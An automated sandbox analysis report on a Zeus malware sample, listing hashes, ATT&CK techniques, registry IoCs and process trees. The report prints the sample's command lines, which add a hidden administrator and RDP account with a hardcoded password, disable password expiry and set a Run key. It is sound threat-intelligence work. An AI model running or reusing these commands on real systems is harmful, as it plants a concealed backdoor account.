f55d6bd5f13356eda64fae070a5eee1a080f06a0aa69bdd7e137496d88346be3

General

Target

zeus 2_2.1.0.3.vir.exe
Size

199KB
MD5

dc6b98b9707c0922ab6a53b3efdd5dac
SHA1

a72e76fbd5dfa53b3d27ed9d9e6d194a085d7d0e
SHA256

f55d6bd5f13356eda64fae070a5eee1a080f06a0aa69bdd7e137496d88346be3
SHA512

04b730c73876fc89eb465ebc069ad1e1bdbfbf5d1654a4bb49457d87ec290dd1832a571dea47adabea0d3f3c0461f8ce70d10fe2e4a82cbb698fed254c5d269b

Score

9^/10

persistence

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

new.exe

pid process

3984 new.exe

pid	process
3984	new.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

zeus 2_2.1.0.3.vir.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\disable_nasty_checks = "setx SEE_MASK_NOZONECHECKS 1"	zeus 2_2.1.0.3.vir.exe

Runs ping.exe 1 TTPs 5 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXEPING.EXEPING.EXE

pid process

3532 PING.EXE
724 PING.EXE
1284 PING.EXE
2352 PING.EXE
1808 PING.EXE
Runs net.exe
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

pid	process
3532	PING.EXE
724	PING.EXE
1284	PING.EXE
2352	PING.EXE
1808	PING.EXE

Modifies WinLogon 2 TTPs 3 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\rootid = "0"	reg.exe

Suspicious use of WriteProcessMemory 54 IoCs

Processes:

zeus 2_2.1.0.3.vir.execmd.exenet.exenet.exenet.exenet.exenew.exe

description	pid	process	target process
PID 1820 wrote to memory of 2500	1820	zeus 2_2.1.0.3.vir.exe	cmd.exe
PID 1820 wrote to memory of 2500	1820	zeus 2_2.1.0.3.vir.exe	cmd.exe
PID 1820 wrote to memory of 2500	1820	zeus 2_2.1.0.3.vir.exe	cmd.exe
PID 1820 wrote to memory of 2756	1820	zeus 2_2.1.0.3.vir.exe	cscript.exe
PID 1820 wrote to memory of 2756	1820	zeus 2_2.1.0.3.vir.exe	cscript.exe
PID 1820 wrote to memory of 2756	1820	zeus 2_2.1.0.3.vir.exe	cscript.exe
PID 2500 wrote to memory of 3532	2500	cmd.exe	PING.EXE
PID 2500 wrote to memory of 3532	2500	cmd.exe	PING.EXE
PID 2500 wrote to memory of 3532	2500	cmd.exe	PING.EXE
PID 1820 wrote to memory of 3604	1820	zeus 2_2.1.0.3.vir.exe	net.exe
PID 1820 wrote to memory of 3604	1820	zeus 2_2.1.0.3.vir.exe	net.exe
PID 1820 wrote to memory of 3604	1820	zeus 2_2.1.0.3.vir.exe	net.exe
PID 3604 wrote to memory of 3840	3604	net.exe	net1.exe
PID 3604 wrote to memory of 3840	3604	net.exe	net1.exe
PID 3604 wrote to memory of 3840	3604	net.exe	net1.exe
PID 1820 wrote to memory of 3928	1820	zeus 2_2.1.0.3.vir.exe	net.exe
PID 1820 wrote to memory of 3928	1820	zeus 2_2.1.0.3.vir.exe	net.exe
PID 1820 wrote to memory of 3928	1820	zeus 2_2.1.0.3.vir.exe	net.exe
PID 3928 wrote to memory of 3904	3928	net.exe	net1.exe
PID 3928 wrote to memory of 3904	3928	net.exe	net1.exe
PID 3928 wrote to memory of 3904	3928	net.exe	net1.exe
PID 1820 wrote to memory of 1872	1820	zeus 2_2.1.0.3.vir.exe	net.exe
PID 1820 wrote to memory of 1872	1820	zeus 2_2.1.0.3.vir.exe	net.exe
PID 1820 wrote to memory of 1872	1820	zeus 2_2.1.0.3.vir.exe	net.exe
PID 1872 wrote to memory of 2220	1872	net.exe	net1.exe
PID 1872 wrote to memory of 2220	1872	net.exe	net1.exe
PID 1872 wrote to memory of 2220	1872	net.exe	net1.exe
PID 1820 wrote to memory of 3764	1820	zeus 2_2.1.0.3.vir.exe	net.exe
PID 1820 wrote to memory of 3764	1820	zeus 2_2.1.0.3.vir.exe	net.exe
PID 1820 wrote to memory of 3764	1820	zeus 2_2.1.0.3.vir.exe	net.exe
PID 3764 wrote to memory of 636	3764	net.exe	net1.exe
PID 3764 wrote to memory of 636	3764	net.exe	net1.exe
PID 3764 wrote to memory of 636	3764	net.exe	net1.exe
PID 2500 wrote to memory of 724	2500	cmd.exe	PING.EXE
PID 2500 wrote to memory of 724	2500	cmd.exe	PING.EXE
PID 2500 wrote to memory of 724	2500	cmd.exe	PING.EXE
PID 1820 wrote to memory of 672	1820	zeus 2_2.1.0.3.vir.exe	reg.exe
PID 1820 wrote to memory of 672	1820	zeus 2_2.1.0.3.vir.exe	reg.exe
PID 1820 wrote to memory of 672	1820	zeus 2_2.1.0.3.vir.exe	reg.exe
PID 1820 wrote to memory of 3984	1820	zeus 2_2.1.0.3.vir.exe	new.exe
PID 1820 wrote to memory of 3984	1820	zeus 2_2.1.0.3.vir.exe	new.exe
PID 1820 wrote to memory of 3984	1820	zeus 2_2.1.0.3.vir.exe	new.exe
PID 3984 wrote to memory of 904	3984	new.exe	new.exe
PID 3984 wrote to memory of 904	3984	new.exe	new.exe
PID 3984 wrote to memory of 904	3984	new.exe	new.exe
PID 2500 wrote to memory of 1284	2500	cmd.exe	PING.EXE
PID 2500 wrote to memory of 1284	2500	cmd.exe	PING.EXE
PID 2500 wrote to memory of 1284	2500	cmd.exe	PING.EXE
PID 2500 wrote to memory of 2352	2500	cmd.exe	PING.EXE
PID 2500 wrote to memory of 2352	2500	cmd.exe	PING.EXE
PID 2500 wrote to memory of 2352	2500	cmd.exe	PING.EXE
PID 2500 wrote to memory of 1808	2500	cmd.exe	PING.EXE
PID 2500 wrote to memory of 1808	2500	cmd.exe	PING.EXE
PID 2500 wrote to memory of 1808	2500	cmd.exe	PING.EXE

C:\Users\Admin\AppData\Local\Temp\zeus 2_2.1.0.3.vir.exe
"C:\Users\Admin\AppData\Local\Temp\zeus 2_2.1.0.3.vir.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1820

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\delme.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:2500

C:\Windows\SysWOW64\PING.EXE
ping localhost -n 3
3⤵
- Runs ping.exe
PID:3532

C:\Windows\SysWOW64\PING.EXE
ping localhost -n 3
3⤵
- Runs ping.exe
PID:724

C:\Windows\SysWOW64\PING.EXE
ping localhost -n 3
3⤵
- Runs ping.exe
PID:1284

C:\Windows\SysWOW64\PING.EXE
ping localhost -n 3
3⤵
- Runs ping.exe
PID:2352

C:\Windows\SysWOW64\PING.EXE
ping localhost -n 3
3⤵
- Runs ping.exe
PID:1808

C:\Windows\SysWOW64\cscript.exe
cscript ldapdi.vbs
2⤵
PID:2756

C:\Windows\SysWOW64\net.exe
C:\Windows\system32\net.exe user rootid Stormload0987 /add
2⤵
- Suspicious use of WriteProcessMemory
PID:3604

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user rootid Stormload0987 /add
3⤵
PID:3840

C:\Windows\SysWOW64\net.exe
C:\Windows\system32\net.exe localgroup Administrators rootid /add
2⤵
- Suspicious use of WriteProcessMemory
PID:3928

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Administrators rootid /add
3⤵
PID:3904

C:\Windows\SysWOW64\net.exe
C:\Windows\system32\net.exe localgroup "Remote Desktop Users" rootid /add
2⤵
- Suspicious use of WriteProcessMemory
PID:1872

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" rootid /add
3⤵
PID:2220

C:\Windows\SysWOW64\net.exe
C:\Windows\system32\net.exe accounts /maxpwage:unlimited
2⤵
- Suspicious use of WriteProcessMemory
PID:3764

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 accounts /maxpwage:unlimited
3⤵
PID:636

C:\Windows\SysWOW64\reg.exe
C:\Windows\system32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v rootid /t REG_DWORD /d "00000000" /f
2⤵
- Modifies WinLogon
PID:672